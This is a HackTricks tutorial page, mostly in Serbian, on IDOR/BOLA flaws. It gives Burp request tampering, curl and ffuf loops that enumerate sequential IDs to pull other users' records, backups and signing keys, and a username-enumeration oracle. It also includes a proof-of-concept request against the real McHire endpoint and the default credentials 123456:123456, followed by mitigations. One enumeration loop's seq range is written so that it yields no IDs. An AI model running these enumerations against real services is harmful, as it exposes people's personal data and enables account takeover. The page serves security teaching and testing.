IDOR (Insecure Direct Object Reference)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkrije ili prihvati identifikator koji može kontrolisati korisnik i koji se koristi direktno za pristup internom objektu bez verifikacije da li je pozivalac autorizovan da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalnu ili vertikalnu eskalaciju privilegija, kao što je čitanje ili izmena podataka drugih korisnika i, u najgorem slučaju, potpuno preuzimanje naloga ili masovna eksfiltracija podataka.
1. Identifikacija potencijalnih IDOR-ova
- Potražite parametre koji referenciraju objekat:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Preferirajte endpoint-e koji čitaju ili ažuriraju podatke (
GET,PUT,PATCH,DELETE). - Obratite pažnju kada su identifikatori sekvencijalni ili predvidljivi – ako je vaš ID
64185742, onda verovatno postoji64185741. - Istražite skrivene ili alternativne tokove (npr. “Paradox team members” link na stranicama za prijavu) koji mogu otkriti dodatne API-je.
- Koristite autentifikovanu sesiju niskih privilegija i menjajte samo ID zadržavajući isti token/cookie. Odsustvo greške autorizacije obično je znak IDOR-a.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Automatizovana enumeracija (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerisanje predvidivih ID-jeva za preuzimanje (ffuf)
Paneli za hostovanje fajlova koji zahtevaju autentifikaciju često čuvaju metapodatke po korisniku u jednoj tabeli files i izlažu endpoint za preuzimanje poput /download.php?id=<int>. Ako handler samo proverava da li ID postoji (a ne da li pripada autentifikovanom korisniku), možete pretražiti prostor celih brojeva koristeći važeći session cookie i ukrasti rezervne kopije/konfiguracije drugih korisnika:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fruklanja 404-style templates tako da ostanu samo pravi hitovi (e.g., IDs 54/150 leaking full site backups and signing material).- Isti FFUF workflow radi sa Burp Intruder ili curl loop—samo se postarajte da ostanete autentifikovani dok povećavate ID-je.
Error-response oracle for user/file enumeration
Kada download endpoint prihvata i username i filename (e.g. /view.php?username=<u>&file=<f>), suptilne razlike u error porukama često stvaraju oracle:
- Nepostojeći username → “User not found”
- Pogrešan filename ali validna ekstenzija → “File does not exist” (ponekad takođe navodi dostupne fajlove)
- Pogrešna ekstenzija → validation error
Sa bilo kojom autentifikovanom sesijom, možete fuzz username parametar dok držite benign filename i filtrirati po stringu “user not found” da otkrijete validne korisnike:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Kada se identifikuju važeća korisnička imena, zatražite određene fajlove direktno (npr. /view.php?username=amanda&file=privacy.odt). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i credential leakage.
2. Studija slučaja iz stvarnog sveta – McHire Chatbot platforma (2025)
Tokom procene Paradox.ai-powered McHire regrutacionog portala otkriven je sledeći IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}– 8-cifreni, sekvencijalni numerički identifikator
Smanjivanjem lead_id tester je pristupio proizvoljnim kandidatima i dobio njihovo full PII (ime, e-mail, telefon, adresa, preferencije smena) plus consumer JWT koji je omogućio session hijacking. Enumeracija opsega 1 – 64,185,742 otkrila je otprilike 64 million zapisa.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. Uticaj IDOR / BOLA
- Horizontal escalation – čitanje/izmena/brisanje podataka ostalih korisnika.
- Vertical escalation – korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima.
- Masivno curenje podataka ako su identifikatori sekvencijalni (npr. ID-ovi kandidata, fakture).
- Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
4. Ublažavanja & Najbolje prakse
- Enforce object-level authorization na svakom zahtevu (
user_id == session.user). - Preferirajte indirect, unguessable identifiers (UUIDv4, ULID) umesto auto-increment ID-ova.
- Izvršavajte autorizaciju server-side, nikada se ne oslanjajte na skrivene polja forme ili UI kontrole.
- Implementirajte RBAC / ABAC provere u centralnom middleware-u.
- Dodajte rate-limiting & logging kako biste otkrili enumeraciju ID-jeva.
- Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).
5. Alati
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(masovno traženje IDOR-a).
Reference
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

